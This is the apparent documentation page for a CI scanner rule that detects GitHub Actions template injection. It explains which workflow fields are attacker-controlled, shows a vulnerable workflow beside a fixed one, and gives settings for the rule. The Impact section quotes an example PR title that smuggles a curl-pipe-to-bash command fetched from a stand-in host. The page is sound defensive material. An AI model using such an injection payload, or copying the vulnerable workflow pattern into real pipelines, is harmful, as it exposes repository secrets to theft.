Workflow inlines user input into a shell script
Control: Workflow must not inline user input into shell scripts· Config key: workflowMustNotInjectUserInputInScripts
📋 What is this?
A run: step inlines an attacker-controlled **free-text** github field directly into a shell command. The expression value is interpolated by GitHub *before* the shell parses it, so a malicious PR title, comment body, or branch name becomes part of the executed script. The check fires only on the genuinely injectable subfields (titles, bodies, ref names, commit messages, fork metadata, author identity) — numeric, boolean, enum and SHA fields are deliberately ignored because they cannot carry an injection payload.
⚠️ Impact
Template injection is the GitHub Actions equivalent of SQL injection. A PR titled foo; curl evil.sh | bash; #` becomes a runtime shell command with the workflow's secrets in scope. This is the #1 cause of secret exfiltration on GitHub Actions over the past two years.
🔧 How to fix
Bind the untrusted value to an env: variable first, then reference the env var from the shell. The shell quotes env-var expansion naturally, breaking the injection.
# .github/workflows/welcome.yml — ❌ Template injectionon: pull_request_targetjobs: welcome: runs-on: ubuntu-latest steps: - run: echo "Welcome ${{ github.event.pull_request.title }}!"# .github/workflows/welcome.yml — ✅ Bind through env:on: pull_request_targetjobs: welcome: runs-on: ubuntu-latest steps: - env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "Welcome $PR_TITLE!"
# .plumber.yamlgithub: controls: workflowMustNotInlineUserInputIntoShell: enabled: true💡 Tips
- Flagged subfields (attacker-controlled free text):
*.title,*.body,head.ref,head.label,head.repo.default_branch(and theworkflow_runhead_repository.default_branch),*.message,*.description,*.homepage,author.name,author.email,committer.name,committer.email,page_name, andgithub.head_ref. - Deliberately not flagged:
github.event.repository.default_branch(the base repo's default branch is admin metadata, not attacker-controlled — only the fork'shead.repo.default_branchis),pull_request.number,*.commits,head.repo.fork,event_name,author_association,*.sha,github.repository— integers, booleans, enums, SHAs or trusted metadata that cannot carry an injection payload. github.repository,github.sha, andgithub.ref_nameare derived from server-trusted state — safer but still worth scoping.- Recognized safe sink: an expression wrapped in
toJSON(...)AND consumed inside a quoted heredoc (<<"EOF"/<<'EOF') is not flagged —toJSONescapes newlines (no heredoc-delimiter breakout) and the quoted heredoc disables$()/backtick expansion. Neither alone is enough:echo "${{ toJSON(x) }}"still runs$()inside the quotes, and a raw expression in a quoted heredoc can break out via a newline. The cleanest fix remains binding throughenv:and dereferencing"$VAR". - Pair with ISSUE-802 to also catch the trigger side of the same attack.
⚙️ Configuration
This control is configured in .plumber.yaml under the github section:
github:
controls:
workflowMustNotInjectUserInputInScripts:
enabled: trueSee the CLI documentation for the full configuration reference.